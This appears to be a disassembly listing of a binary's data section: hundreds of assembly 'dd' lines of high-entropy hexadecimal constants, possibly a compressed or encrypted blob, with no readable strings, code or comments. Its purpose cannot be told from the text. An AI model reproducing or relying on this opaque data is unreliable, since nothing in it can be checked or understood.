0ADA95AA8h dd 0A19300EBh, 9D7B6BBFh, 0CC002660h, 0F058013Eh, 0D13AACh dd 1ABB5292h, 0B1E8D7F7h, 4C84B200h, 30EA6359h, 0DE730418h dd 0D712A465h, 0A070D010h, 0BAE85271h, 0A13ABB00h, 6D99045Ch dd 33F100CEh, 0ABF0C12Eh, 69006E4Eh, 0C53262AFh, 54D88Ch dd 0B1C2A1A9h, 0D69C3303h, 85480595h, 932014D1h, 3273830h dd 2A95584Ah, 3E039C0h, 4303BE7Ah, 2C3FF64h, 0E3D692D1h dd 6B57B0A9h, 0E7540023h, 3687AB55h, 0F6F26D80h, 3E701800h dd 0BFAF985Ch, 38C98E1h, 0BD885CAh, 0D7C0DECCh, 4DF650B4h dd 9A51AC00h, 0C183C879h, 781FE884h, 7DF903ADh, 1D1BFC6Ch dd 0C94E87C8h, 63388A12h, 0E303E216h, 0E9AC647Fh, 0F020D212h dd 622F003Bh, 30C536E1h, 65005143h, 0D3F63DA3h, 15AFC3h dd 0B1EC8F44h, 61C45F27h, 80B96939h, 335DE05h, 8B9BE5h dd 7081ECEAh, 175D6BC5h, 70081B80h, 0F9F0005Eh, 0C3D614A9h dd 0DEF85441h, 43EA3817h, 0B900EEFCh, 3DD99AF6h, 0A8941FD0h dd 54FF1D3Ch, 7348202Dh, 0E82819h, 0AABFA894h, 0D416C7E5h dd 53EAF800h, 0A0B0912h, 12A090F2h, 0CC73E6FBh, 3C00B268h dd 1F8C6419h, 0F51123h, 0E083274Eh, 56AC285Fh, 7D735009h dd 664AC1B2h, 0C8BE4A87h, 0B75B608Dh, 1A076D76h, 2D2A72FDh dd 0AD2F36D0h, 34F54942h, 0BC8B2E21h, 0E55C0007h, 7AFD9381h dd 96E654h, 0EE0FDB66h, 9F1E2404h, 0C1480200h, 95C42522h dd 0C6E30BFCh, 0BCA20605h, 0F0EB4E98h, 0EF81EBA0h, 4CE02700h dd 3D8E4B28h, 785500DCh, 9A89662Ch, 4900F187h, 0C20DB7B5h dd 137CA08h, 0C9A55A39h, 802FC6C3h, 0D267B14Ch, 95BF6A0Ch dd 3DE6E080h, 1400056Dh, 4166AC1Ch, 0FECD7B53h, 612212CCh dd 0E044C715h, 737D9E83h, 0F021580Eh, 42D46154h, 3DECFC8Ah dd 707570EFh, 1AF3399Bh, 0E8B4AF00h, 0B54A4DB8h, 0FA28413Ch dd 7F7B4903h, 0ECE6BF14h, 671F58B9h, 914C224Ah, 602800D4h dd 0CF1C43D0h, 88E650C9h, 2FE598A1h, 4C8029ACh, 4090F34Eh dd 1348331Fh, 286588E4h, 885ACC90h, 3B012443h, 0E3E70035h dd 0C9497794h, 7D0CA500h, 3CD20A3Eh, 2D420140h, 5ABFBB57h dd 99F9F4F7h, 68300C03h, 0D852B428h, 4E06658h, 0DF3A9013h dd 323490E5h, 0B64CF70Bh, 0A6490084h, 1DE3A9F3h, 0E4485CD4h dd 2781DE00h, 0DA3D911Bh, 9FE96E00h, 0B58F8A0Dh, 0E8FA29D4h dd 5F9600B0h, 0DA87F357h, 4DA57800h, 3262A56h, 914E0075h dd 8EB0AE3Eh, 0E0032918h, 447431EBh, 0FA6999BBh, 213C4E8h dd 0B2B96D7Ah, 864063F5h, 0FF00FBA7h, 87F0C6FCh, 5934CD45h dd 0FD1F109Bh, 0C007917h, 0EC3F52A6h, 800C60Ah, 6C1FEEC3h dd 3A6864B9h, 0DC1D42FDh, 4078DFF2h, 0DB982090h, 0DF075FD5h dd 74B7A396h, 0A72661C1h, 4E9B63DCh, 4A4C30B3h, 150F7AC3h dd 80AAC957h, 0AD693B84h, 0F9DB00B0h, 1FC5BB37h, 0EB00AC0Eh dd 253168F3h, 0EE4C427h, 0E740DAE9h, 0EF79DFE0h, 0B600FF7Eh dd 6E37B79Bh, 0F55ED6h, 9606AFA3h, 0FB9583F7h, 30E03Eh dd 238C369Bh, 4B2647Ch, 4087560Ch, 84ADEFh, 3E8645C2h dd 7999E38Dh, 5C37058Bh, 80D990FAh, 0D792A6DFh, 0B1783F00h dd 0AC20BED3h, 51850361h, 0FCD9E6D8h, 0BF40FBF0h, 2C5E6306h dd 3B38ADF2h, 43809429h, 0C89AB98h, 4707E20Dh, 7270ACCEh dd 756D0950h, 0DA5AFFh, 7D2D0EE0h, 0C600A0BCh, 864DF637h dd 5CA49B10h, 8C006872h, 0F77E85F4h, 6D00E37Bh, 0C5DB0A71h dd 4B203Fh, 0DC50B8F8h, 5355BDEh, 2B655C00h, 1A07FF48h dd 0FE4B0ECBh, 0CE40497Dh, 0AC3BC5Dh, 75932100h, 555CAD7h dd 7ADF01ADh, 827B44A3h, 632B7091h, 26359907h, 0A040C43Dh dd 0B6451D70h, 0AB500014h, 25645B21h, 77016CB0h, 0C95FDFC5h dd 0DC340B23h, 531B1F45h, 0EC09259Ch, 486EB900h, 0FC02C352h dd 7BA7A506h, 70FC60C1h, 850E0254h, 0DE7F413Eh, 6114BD00h dd 22C7C6Ah, 0D9ECB1Eh, 0B8C8DAF3h, 555C28EBh, 0DF2100CCh dd 54A865A2h, 6DE73E50h, 0AD307107h, 3DFE2047h, 6001678h dd 6B849AEAh, 0B428A845h, 937E0988h, 751758D2h, 6CC3BACCh dd 0CD6400EFh, 2F1E943h, 600048AAh, 0B034F279h, 601872BDh dd 6212D99Dh, 6000A1C3h, 0E02F4482h, 2459ED3Ah, 54B222h dd 959E7952h, 0DF09E4F4h, 812D5AD8h, 0AC69120Ch, 0AF71D500h dd 1826BA07h, 38176327h, 4788C910h, 66870051h, 0E04C0323h dd 0A600188Ch, 0B943A28Dh, 26530F4Bh, 808CD769h, 0CC5C4D94h dd 340E7EF0h, 0E68ADC42h dd 2988753h, 4FEBDF29h, 8468E4DEh, 0C26A31Dh, 0A28578F3h dd 0D480C5D4h, 0E8A4AD82h, 632E00B6h, 168B6215h, 730BB59Fh dd 5D3145h, 351E5E7Ch, 0FA20001Ch, 484BC7C3h, 0E300CCB8h dd 0B254D133h, 9E5036F6h, 0FD1558A4h, 0C8BCBB00h, 1C4FD093h dd 944C4C59h, 986FF004h, 8A4C13Dh, 0A06838h, 34646BC2h dd 599C2F43h, 804ECE75h, 0A3049550h, 0FC3F9D01h, 0F4F3B2EEh dd 49367E0h, 91077F4Ah, 3F8C0410h, 2C0000A7h, 0E34F1ACEh dd 6F0045CAh, 6DAD9D0Ch, 19F64Eh, 87E571Dh, 6861D5EEh dd 0B806CD00h, 0EDD70A72h, 0EB3702B9h, 60896CB2h, 110D8E80h dd 34147BE4h, 114080F1h, 533817E0h, 6A2DFDBFh, 4BAB000h dd 0BD042F4Bh, 3FB60252h, 24990A0h, 0B9E5C199h, 24D891DEh dd 4D77F30Eh, 0DD1AC49Eh, 4E0018A2h, 8B829254h, 0FF604A3Ah dd 0ED89A040h, 0EB7B7Bh, 0A36FE647h, 16B86909h, 496BF500h dd 0FABD86DBh, 53A51C34h, 57A007Dh, 0A08D0DFDh, 1B929600h dd 6A433CBh, 0CE2001CDh, 0AA78E5A5h, 4389D87Bh, 0BB00457Dh dd 1968022Dh, 0C94B0h, 6F1EEE6Ch, 3C8233DFh, 1DD1D800h dd 9CF24566h, 354C8Bh, 0AE748913h, 0B85D0Fh, 0FCAB17F7h dd 2D7E015Eh, 0A72849A8h, 509DC1EAh, 0B288E59Ch, 995B5C77h dd 0C8C0DC1Ch, 3DADCA9Ch, 0A9E177Dh, 0F1F30430h, 77CE946h dd 8D66F571h, 0DA06605Eh, 1DA507B1h, 0D27830DBh, 0C88001E7h dd 6C4BB20Fh, 0E3DF0058h, 0B8A10E26h, 409E0060h, 0EF7E63D7h dd 44004694h, 2C775AA8h, 71DBAEh, 0D13EF743h, 0F87017C0h dd 0C00E7C30h, 2B6C6Fh, 19D673Ah, 4053D074h, 70122300h dd 20822850h, 756C000Fh, 0D60D7C21h, 4D006BC3h, 0A2ED47B4h dd 0DB2504h, 0CB63BABh, 9914F2F8h, 0CF921000h, 617A2BD8h dd 0FB340066h, 0D6C5FECDh, 8B00DCE7h, 0FC7BD39Ch, 7662221h dd 0B408C839h, 9E2C10B5h, 0DD0045C9h, 1C85145Fh, 5168C4h dd 0DAF509B7h, 0B837621Fh, 0E6EEBA00h, 4FEAD054h, 40350079h dd 84B542D8h, 1B009789h, 9AA23625h, 562A69h, 9C06B8A9h dd 0D0227F86h, 418C141Fh, 776DACC1h, 2803D90h, 5C2CF630h dd 0FD00F8D1h, 0E0A4D6FCh, 72BAE3E1h, 55A20002h, 7BE28DDh dd 1F0ED2C6h, 6068779Bh, 0FC4358F9h, 0B1140035h, 0C06C1DA5h dd 0F1790D1Ah, 9D77B500h, 628C4A4Ch, 0C98F0011h, 0A1BDFC8h dd 0DE00B4E6h, 2E7E8D72h, 0BC79E2h, 2975904Bh, 0B484E322h dd 3424072Eh, 9EA8D900h, 0FE497F35h, 8041392Ch, 0E0E1FA81h dd 0D4C315C5h, 9F0E5B5h, 93E84500h, 70F77144h, 6E773853h dd 400FC09Dh, 577425FBh, 0B0008854h, 1A454119h, 7A7B91CAh dd 643C003Fh, 89BE3048h, 0D60042BCh, 6A10179Ch, 9186246h dd 3D2D8B36h, 0B65F8A83h, 23A232A0h, 0C9BAA03h, 0E019DBBFh dd 7D11D26Dh, 4060DC7Ah, 0ABB0BB50h, 0A6F4BE97h, 3A2C670Fh dd 0C6AC16Fh, 9FC405Dh, 0DE7B288Bh, 67821ED0h, 0C307408Eh dd 7036ECBCh, 0FC717400h, 920549E5h, 0E8E70FB3h, 64C084F5h dd 42606321h, 2E26E4FFh, 88804B00h, 0E81891B6h, 844000F9h dd 0E6438638h, 49000F98h, 67137CF3h, 7AA2D3h, 0E98C5254h dd 954E3676h, 49176D0Ch, 751877h, 7AED86ACh, 0FC3C13D4h dd 4EB13Eh, 8B0834Fh, 0FB6DA182h, 3B81852h, 1D8DA9Ah, 0CE18CB4Ah dd 4F215BA1h, 40A00B3h, 3E6BBD1Dh, 75003576h, 6385193h dd 9885ACF1h, 0FBD005E0h, 0C08C56C6h, 20E73A3Bh, 7B404F63h dd 76CE89B0h, 4AF75080h, 18D99A06h, 0DA368600h, 0B5D249EEh dd 0BD9C375h, 0E3D15629h, 815CF9ABh, 108263B8h, 370C12CEh dd 2ED8B10h, 666BA100h, 532345A5h, 873E4400h, 89D9FDC6h dd 51043FD7h, 0B1E30203h, 6BF80175h, 59E035F5h, 0FD5DB800h dd 912220CFh, 545812D8h, 0C0761DBAh, 0A7D1AE50h, 0C009A0Dh dd 92871585h, 0FAE7F297h, 72092CF9h, 0EE7900FDh, 992FFD25h dd 6F481C00h, 0AF9CA220h, 4C5A000Bh, 9D01EF05h, 8F000D80h dd 0B8C4D594h, 308EBBF5h, 0AFF98683h, 18005BD4h, 0AB41B5DAh dd 73BC0BE0h, 147B06C2h, 28288EE1h, 5D007076h, 0E3FA5455h dd 6CE03DEh, 0EEAAF31Fh, 5C067842h, 8B8EB607h, 0E13A0031h dd 66821E2Fh, 0C8908531h, 8FF76F05h, 0D800EDE4h, 3C624F0Ch dd 0D46C519Fh, 387DA7C0h, 0FA18E4C4h, 1B914990h, 167AC0A4h dd 763F1C00h, 0D13798ACh, 1D87072Ah, 6704F19Bh, 54A9A06Fh dd 0E1C08B75h, 0C5404759h, 17CE015Ah, 0BCA2FB65h, 580CF301h dd 6987887Eh, 2FAB0384h, 0C7E006CEh, 588B7CA8h, 5E00F57Fh dd 0E4E7F6FEh, 50AC0Bh, 0C0A7FF77h, 6DB3A3D3h, 871CF404h dd 44916ACFh, 3C246BBBh, 1FB40013h, 0A4C87A2Ch, 1809D62Ah dd 87E1FEBEh, 0B7E08EE3h, 190D7FB0h, 41516B87h, 9DBCC00Ch dd 71C4BB19h, 2FE81B48h, 155639CCh, 221FCDB8h, 659AC702h dd 4A0B605Ch, 0DB305551h, 0C723F980h, 764600BBh, 0F4294401h dd 56003196h, 554DFF10h, 0C15CDFh, 9AE26F5Fh, 87525B11h dd 0ADD0E518h, 0C6F722h, 0CCE6697Fh, 0B26B85C1h, 0F9922001h dd 0BCF6D867h, 51523320h, 0B7E4E15Dh, 0E850074Ah, 1DE85C2h dd 60995CD9h, 6300AB77h, 0E78BEEDBh, 1826A34h, 86B7F952h dd 0BFA597D5h, 42042228h, 0D770792Ah, 7F08D181h, 20161144h dd 1507E6F4h, 86BD385Dh, 5A45942h, 32280AC2h, 62C11F14h dd 0FB887975h, 105E893Fh, 0CEC451h, 3679C039h, 4928F52Dh dd 6EE57600h, 3C67B391h, 0C681006Ch, 64345735h, 0B67C6B69h dd 0C90990E6h, 76FE1522h, 3B2100B9h, 0BBCB57E4h, 0E60BD00h dd 0C4ED709h, 156E07D5h, 1B949670h, 81823080h, 472CF650h dd 0A2004D13h, 46AAFB3Fh, 0E4C30073h, 34A363ADh, 0B6001196h dd 1A4DA810h, 501D2Bh, 86427891h, 584E5771h, 0B500265Eh dd 38E79DEAh, 0D556036Ch, 0B21CCF67h, 2C08E08Fh, 0C01D950Dh dd 7AC00F0Ch, 57870E28h, 7F3239BBh, 688FA880h, 3CA79FF1h dd 5CFEAD01h, 5F06BA35h, 62B0C8h, 7147E8Fh, 0AC23EAF3h dd 8E1DA3A0h, 8707B7FEh, 36AFCBBCh, 3480A734h, 32DB6h dd 0EA58FD19h, 0AD7FF147h, 0AC6AC000h, 12B3E955h, 2B8C00FFh dd 28C732A6h, 2F03B674h, 269B3DDAh, 4A70B0CCh, 2D200254h dd 86E4AF33h, 0FA24AC80h, 931D1C07h, 80804F0Bh, 0B7180EEEh dd 28580167h, 0F5F1E9CDh, 0C30BFCD7h, 0C8AEB500h, 0EC98C953h dd 0DA7E07C2h, 0C0153F2Fh, 9E7975B8h, 0B70A4A00h, 3B85CB6Dh dd 713C078Ah, 7037B19Ch, 3D1727E1h, 0B9AD6504h, 0FFC0EDEFh dd 18DBA22Dh, 0F0681245h, 0B402A5DFh, 0EDDDCF7Bh, 1A8880B5h dd 9FAE7h, 10A87C93h, 8840AD80h, 110090F8h, 9AEFE3DFh dd 0A0FBE0F1h, 31741F8h, 52CE88CAh, 3880BF2Ah, 55007BBCh dd 6FA9EA15h, 24FD26A6h, 0E866EBh, 80C76072h, 4503542Ah dd 11DB30Ah, 0AB06B024h, 780BB004h, 0FC522E6Eh, 1043014Dh dd 0C8BD4836h, 0E01FC9AEh, 0F0EEAF23h, 4E55DB00h, 8FDDD7h dd 687C439h, 11AEED93h, 7700D17Fh, 6ECF221Bh, 78043BD8h dd 13A70059h, 0BD6752AEh, 0FBE8BB1Ah, 93208B14h, 654C00A7h dd 0CB686E3Ch, 2273CE8h, 0EA01A980h, 0C672075Dh, 6BDF0407h dd 0B0C0C134h, 0EA22193Bh, 0AF13000Fh, 1C603A07h, 0C47CA4EFh dd 1200CB7Fh, 45CAFFB9h, 863F8h, 7689DC6Fh, 0A8DDFD71h dd 0B02ADA00h, 727BC193h, 604A0088h, 6798BE9Dh, 0F400CA3Bh dd 0FC4E6F6Ch dd 0FEB11Bh, 0C24997E7h, 0C59C9468h, 5E54D71Ch, 4B0B8900h dd 74F32BA3h, 0C0240E19h, 68607BECh, 1932A23h, 0D6AC7D01h dd 24C8E671h, 60BCF8h, 182CE3ABh, 0C263CDBFh, 0DA767DE6h dd 7BB2A507h, 9587AC06h, 502D97E0h, 117C0019h, 0DB651A8Fh dd 6E50F910h, 10E14DF0h, 3C7606E2h, 820068FDh, 0C5F81D88h dd 2A3C3565h, 344CA46Eh, 13C34600h, 6B4963h, 3240C0A6h dd 0E1EBCF07h, 0EC4F5700h, 34056A0Eh, 0D38D00FEh, 0BCAF5815h dd 901C131h, 0F2A273C2h, 0C2EB684Fh, 3A5FE07Ch, 637A00A7h dd 4239A09Ch, 246F650Ch, 30E8A5C8h, 80497FC0h, 36940029h dd 69FAD4A4h, 3D00240Bh, 0C42812BCh, 614E17h, 0D885205Ch dd 46F58A7Eh, 0B32803FAh, 7C008F10h, 0BC52BD24h, 3ED39A68h dd 0DC809133h, 0BF803982h, 0E60B18F8h, 0D4DF77h, 6B4F6E30h dd 40C700F3h, 0B160FA36h, 0F90EF423h, 20DCABE5h, 91FC5D51h dd 687900E0h, 39F2D330h, 2E00EDF6h, 77D4824Bh, 7AC8BC81h dd 0A39B0025h, 0CE950A8Ch, 0FE0050B5h, 0D338CC7Bh, 564E614Fh dd 0EA00C059h, 1BEECE53h, 7539406Eh, 9A8C0007h, 0BCB06AADh dd 8BCA00E4h, 43F61803h, 682E3F39h, 0DA032788h, 0E095441Bh dd 7AB725h, 97B66E1h, 0EF5A4FB8h, 3663D002h, 0E1A8F897h dd 0FA60B1A3h, 599C0FA6h, 68E06030h, 0EF461EDFh, 0B8471700h dd 9480A543h, 21B502F0h, 1A77D890h, 8D3F7FE0h, 3CD4951Fh dd 0F5005B52h, 0A0FDA98Fh, 65CE009Fh, 678D011Ah, 0CB034F83h dd 0B51D976h, 556EE86Dh, 15C000EBh, 1DBD6002h, 3C00902Bh dd 0A5A90DA7h, 744167h, 0C4CB5F3Dh, 4DE165E3h, 0A119541Eh dd 0BC1FB792h, 0FF6D5580h, 5CD8BBh, 38A53907h, 654737ACh dd 88066426h, 5AC0E69Eh, 0EA63315Fh, 0C2C80078h, 0E3D21F33h dd 0C13FEDCCh, 42DA8067h, 0B09D044Eh, 5BFA00C7h, 0D0370CADh dd 6D00C894h, 0EE0F68DBh, 2C38E528h, 710CA09h, 73D7344Ah dd 878085DEh, 14008A1Ch, 3F24B39Ah, 16F7AFBDh, 413396C4h dd 832B56D4h, 6704207Fh, 0AD007EE6h, 1F0CF848h, 5DCB03h dd 0E5298E32h, 0B04AA201h, 0E1093FFCh, 37F330h, 0D29EEAD4h dd 84640087h, 0F70D2A8Ah, 0BE1C8D4Ah, 2880FFE0h, 50DCAA79h dd 0E71400EAh, 0A68FA93h, 0DA00E931h, 2926F752h, 6CC7A04h dd 508B6DC0h, 6A0090A2h, 20FF63DCh, 0AAF6BEh, 82ECDF40h dd 9E37C8E4h, 0A936DA00h, 0EA76FA57h, 0F2FEE010h, 0CC9A07h dd 425C9E47h, 0CA45D433h, 0BADC6100h, 514B0E92h, 0C2BD00EAh dd 84665A06h, 0F1F0D146h, 897BC02h, 0C0F52702h, 0A3397D99h dd 4FF0B7E0h, 25029AEh, 0A8088E99h, 80805A71h, 6E1441ABh dd 0B1000090h, 1F4657C3h, 21FA9Dh, 0E1434249h, 2F16A97h dd 5CEC6650h, 0BD562700h, 0EE074863h, 4A2B0F9Ah, 0FC83C182h dd 8B89854h, 0BC39ECADh, 1DD4034Eh, 88D9FD3Eh, 4C2AF36h dd 9B5157F0h, 302887F5h, 0A449CA6Ah, 7AE8BB00h, 978D304Eh dd 2C9880h, 0B562137Eh, 0C8571A7Dh, 0A3177C00h, 4E5DEC63h dd 4AF1265Ah, 0CF4030Ah, 0C8075334h, 5E639116h, 0D4400D75h dd 4B208D24h, 9AB40047h, 1D51337Dh, 93074AB0h, 976B8EE2h dd 0FDBE3A90h, 0AA271D8Dh, 0B36900EBh, 78ABA396h, 53675A06h dd 0FE3AA42Fh, 7DC30065h, 16108F5Dh, 0D400FA92h, 0B63DAA48h dd 491474h, 8065DF89h, 57F1011Eh, 0C20EE273h, 0BA1CBh dd 9592998Bh, 4EAA007Dh, 0EE168F67h, 0DD00A8BEh, 0BC6A1D9Ch dd 55D1DCh, 59B2CECBh, 2C202FBAh, 0CD192D00h, 74739033h dd 3A520FFAh, 56A0EF0Ch, 1E6C76Bh, 531CA51Fh, 0F713B343h dd 0A1D6A95Dh, 61D6E02Bh, 31006DEAh, 0B226E0CBh, 2B60460h dd 0D88A44Ch, 0A161854Eh, 0C166E80Eh, 4D0FE81Eh, 3364A900h dd 52CD3Dh, 584520F4h, 7B4F10E3h, 0CF612500h, 1A3BF4Eh dd 0FCD13AA7h, 0BCF7ED80h, 40B7BDF2h, 80794200h, 7E576B20h dd 0AD44074Fh, 901329A3h, 0F24DD9CAh, 7651FB0Fh, 0ED46C04Ah dd 1D81FEBCh, 4042FF03h, 6F3E3501h, 0B8005DA3h, 8DA80520h dd 0F21DA0h, 0BC69D972h, 1A4D58B1h, 84B6143Dh, 0B294F693h dd 855B80FAh, 8AE8CC21h, 42462800h, 16565C15h, 68AD0075h dd 0CD1F6065h, 5F1ECB9Ah, 0A3DC7B8h, 0F469A385h, 0A7D9F200h dd 0A2CEC8h, 0E3614CEFh, 7773DD48h, 33524907h, 0AF802628h dd 214CB24h, 0E2B27246h, 0E0558C9Fh, 49CCCFh, 0B410FD61h dd 97CF144Eh, 841D500h, 1B42096Ch, 36800023h, 7765B6EFh dd 95F4E317h, 794BA600h, 8562F267h, 28C46005h, 0CB38FA45h dd 0CA33D42Eh, 0A8F0501Dh, 7B6FD68Eh, 5229C076h, 67E65645h dd 0BAD13000h, 0E4BEBF7Dh, 0C7D600A1h, 9447FC93h, 390EE669h dd 0DF04CFDBh, 9C1AC400h, 4B0376h, 0B128F025h, 0E58B4C63h dd 0D2D8600h, 356651ACh, 218117FAh, 4D44014Ah, 0E0484942h dd 920F3C05h, 40DBC5CBh, 7306D428h, 0FD440007h, 0ED999D40h dd 4572BAE4h, 59885C00h, 0E9FF7C69h, 0EAEC00E7h, 0ABAE4134h dd 390060EDh, 0B479A846h, 0EA0F233h, 0F40F918h, 0BAC077EEh dd 6F4CCA7h, 0A8D49600h, 67DCB065h, 0C6600711h, 0D07AC371h dd 3C1A90D8h, 0A9A19404h, 0F680FE9Ah, 3C7B2BC9h, 0FF8004E3h dd 0A499ABAAh, 0E9E21695h, 4DDCB100h, 0FD302482h, 216007CFh dd 102BE642h, 8C99111Eh, 0D1A50326h, 6B23D000h, 0A1D49Ah dd 1BCEACCAh, 0B1A93D68h, 4498007h, 207CA4ECh, 46E6F4h dd 0E9F7E4B8h, 3CDF5B7Ch, 0C2E5FE00h, 87DD2F9Eh, 5D130025h dd 0B56327F1h, 700073C4h, 452334BFh, 1E1DEF9Ah, 80460299h dd 0BA13D975h, 40597EAh, 655EF6A5h, 5280E384h, 0CE82CFh dd 180199E0h, 1BEDF7B9h, 66C7D502h, 0C3FD71F5h, 8565BFB6h dd 0C9EB9C00h, 2EE7625Ah, 1FF79341h, 68D40078h, 7D069E9h dd 25342900h, 9114B636h, 0F64B3848h, 6AF2037Ch, 0EDA5ADBEh dd 59DF74E8h, 0DBFADC00h, 9BC9D3D8h, 54F3005Bh, 46BB345h dd 31980F66h, 5D743900h, 69D8FB2Ah, 0F7EC04DDh, 80C43E09h dd 57122011h, 0A1D7011Eh, 291ABEC3h, 4166B8BDh, 94821823h dd 2D02887h, 0DD9C7700h, 781137BAh, 671400C5h, 8075936Bh dd 637D8EB7h, 0FE0CCFE6h, 4ED3F240h, 0AD3612E6h, 88044002h dd 32865F9Fh, 47021298h, 15976039h, 570AE1CDh, 3339760h dd 4C1E5F9Ah, 0B190A346h, 52006B8Ah, 16BB8364h, 3E3DDF2h dd 23622F44h, 3B97F3Dh, 0D7680AAh, 0D3A0AC5Ch, 0CC9703E6h dd 29F68F33h, 0BE4C80D0h, 0AA9E1000h, 35553D2Eh, 0C9620E17h dd 0C7FC02A0h, 805451C1h, 22FAD54Bh, 0E6713700h, 0C0E96493h dd 0E4CC0FF0h, 0ED00C36Bh, 6E276D47h, 19498D00h, 0DA4108FCh dd 0D2394CB1h, 5E8C40h, 5C8C76C7h, 9C95F80Dh, 4916EA00h dd 0A59E4503h, 17943F1Eh, 0E5D700F1h, 0B7871C29h, 0E3E6909Bh dd 59033370h, 0D4515DD9h, 83D10072h, 0E970803Dh, 0A91D78F8h dd 2F9F46C0h, 0D582AF47h, 0F998B450h, 6D07770h, 0AD8D18Fh dd 271D569Fh, 9901465Dh, 93C52D42h, 88DD4h, 0BBE4E9BFh dd 0C0C27CAEh, 8105F976h, 0ABCF2096h, 6CDE9000h, 0F6538D8Ah dd 6E600090h, 0C5D86630h, 1E485E1Ch, 77DE80E0h, 95F2DDh dd 0E38AEBE8h, 5CA492Fh, 0E7E0D900h, 689E09AEh, 5CF80746h dd 0C177DCh, 83BF95D1h, 61842B00h, 0B1C6B466h, 45B800D5h dd 0A2EBE081h, 9717BF41h, 550C1FC5h, 5C2065h, 0F1AFAA32h dd 0F4447FD1h, 80BAF738h dd 0A795A615h, 1FD556B3h, 68DFD2h, 99771C7Eh, 3F0078ACh dd 0FD181F4Fh, 798CB2Ah, 56710EB0h, 0E481012Eh, 0DD1CE8E8h dd 64AE0201h, 0BE438465h, 0CA2009E5h, 9E1B0095h, 0C8CACE8Bh dd 0D348443Fh, 79E638ECh, 3B29D600h, 0C120CDBDh, 7FE400D2h dd 0F20279DDh, 0A28A3D1h, 0B8008309h, 6127BA06h, 306D8CABh dd 6851D655h, 980E80E6h, 0A65A19D8h, 30619CCFh, 9708E428h dd 0AA0EDDD7h, 80CC5999h, 6B8D5A0Ch, 2183FD13h, 60CE7231h dd 0A54D3828h, 98000B79h, 0A54CA244h, 0C1C84031h, 0E46D4921h dd 0FD2870D1h, 500B2F6h, 0E85D1081h, 749B97h, 0D60E98CDh dd 92BF4379h, 8F567500h, 1661B2Ch, 42EC00BEh, 5997E527h dd 0E4F6AAB4h, 61CAE030h, 300DFF87h, 0F08073E7h, 6B03478Fh dd 5A16A81Ch, 88C5B293h, 4D404C6Ch, 600B4448h, 720D3850h dd 0A750316Eh, 8E536B10h, 2CD2088h, 0CF07E079h, 8377E9EFh dd 0D0FFC14Eh, 7949296Fh, 3CAF0EAAh, 0D7600AE1h, 0E7A7E3A2h dd 82EA400h, 0AFFD231Ah, 0E44F005Ch, 0F0D70A30h, 1E00CC64h dd 0FE6E147Fh, 0F44EC98Ch, 0DBC10041h, 751A7960h, 8E7C3032h dd 70335E00h, 0DED5E9B3h, 2EED005Ch, 2CC6108Ah, 9800EC7Eh dd 0EE439924h, 1138CFAh, 0A74C0E47h, 0CC74A52Bh, 180FFC51h dd 62ECF891h, 43FAA96Ch, 0B228F891h, 0D4530A80h, 0A57767h dd 30E38529h, 0A2A0F9B6h, 5E02EDA8h, 2407AF2Dh, 34DAE158h dd 3A71C24h, 439D5D08h, 9A807A09h, 0C73997F6h, 8E0A8FD3h dd 0FBD62252h, 9F994048h, 63734Ch, 43577AB9h, 0AD37E3E4h dd 70C7DA04h, 7890E0ABh, 0CA2173h, 6DA2CDB2h, 0E6A3193Fh dd 83E73A0Eh, 0B948E0FBh, 7CF3BF3h, 0FF70B0A2h, 20548F55h dd 0E7F2E8E3h, 247F9318h, 4124E9F2h, 20A373C6h, 44765004h dd 8DF6A7Ch, 0B480482Eh, 9AAA407h, 0B6A03F8Bh, 13989D8Eh dd 8F0A69E0h, 4A0071E0h, 73FE25C1h, 304F1843h, 29866A8Ah dd 8538CE3Ah, 847C18BFh, 767F9C50h, 40C950E6h, 1A3046Fh dd 32453073h, 0C18821FDh, 7C6CCA3h, 801F2D3Dh, 327B6D63h dd 2A9C3021h, 7EA83191h, 98114856h, 65EB01Eh, 118079F5h dd 0C46CBC03h, 87BAC8FAh, 188853A3h, 20E6B708h, 0BF07DB16h dd 0D2756358h, 8FD9C740h, 215D3FD5h, 193F1412h, 0C74C8FCh dd 2A4ACF5h, 73F2A35Ah, 0C11946E8h, 0A3508F10h, 4AB91300h dd 0A7F862EFh, 0D3C049Bh, 907C7965h, 0BB755AC0h, 0D5096704h dd 0C492BD04h, 0FE4378h, 0DE761A8h, 0C31D1B54h, 12252700h dd 0B93E3BD7h, 8C8704B4h, 812FF021h, 85B06A66h, 9CE39341h dd 8C7AFC2Fh, 6BF08A0Fh, 0FB55271Bh, 0EA67C3h, 6D835141h dd 0EC824997h, 0D7D5E700h, 0F84FE272h, 0CE3C002Eh, 0E4306BC2h dd 0BD74BF74h, 0CC6839C0h, 4DD3DE01h, 420238A5h, 698C33EFh dd 97EBA882h, 0D818707h, 0A02054C8h, 3512300Eh, 792992D1h dd 20B40100h, 3973D4E7h, 2FFF0E4Ch, 2E814011h, 0DEE45BFBh dd 0BFEA004Ch, 9AC88E1Fh, 3FCB91E1h, 0D100F17Ah, 0FD15C649h dd 1CC1D4Eh, 2426C8E8h, 62EEF7B1h, 0FE027618h, 8CD181AAh dd 25C4C0B5h, 0C0D9E8B6h, 0AAF56021h, 3BF2BD0Ah, 802A2038h dd 940D73B9h, 31474B9Dh, 0FC79B665h, 78D82813h, 0AD53BA00h dd 793FD882h, 4B780085h, 0E74C3A8Fh, 9CE48BF4h, 0FD833E00h dd 0FD5F18Eh, 0F56F0E65h, 0E7E0443Bh, 0CE18EE6Ah, 50E28430h dd 0E725B2EDh, 0AAFC5C50h, 8449B0B3h, 81AB605Ch, 0CCAAF362h dd 0EC419800h, 0E31172C0h, 417F6013h, 0EB3E1CF4h, 45009DE8h dd 55764C56h, 0FB6143Ch, 771EA0D2h, 8A788C00h, 6C24DBE1h dd 908040E3h, 5973080Bh, 0A1A90C7Ch, 0BA081D31h, 10F121C0h dd 4D492Bh, 0A58A9C5Fh, 0BCF82084h, 0E1D9B50Dh, 2C0B29BFh dd 7FDCA683h, 0B2A094D0h, 3A922800h, 0C7651EDAh, 55810057h dd 0AF83FCCh, 41006643h, 6A1FA7ADh, 1390B4h, 356B0D9Ch dd 0E687A4F5h, 0EB1FFC7Eh, 0C4107177h, 0F04A5500h, 86A12CEFh dd 378AA604h, 7F0050D4h, 0F69EE6AEh, 511CAD74h, 45C60C18h dd 38200A91h, 0C7986409h, 0A35F8953h, 0EB9E4B01h, 0F33029E9h dd 640830F3h, 4AFB3221h, 3ECF5000h, 0E5196657h, 80300186h dd 0F346D57Ch, 17798058h, 0AAD6AE3Bh, 60C37AA4h, 540E1966h dd 0BD30789Ah, 671C1056h, 0B21F00FAh, 0E653F33Ah, 83B0F6C9h dd 8F8231C0h, 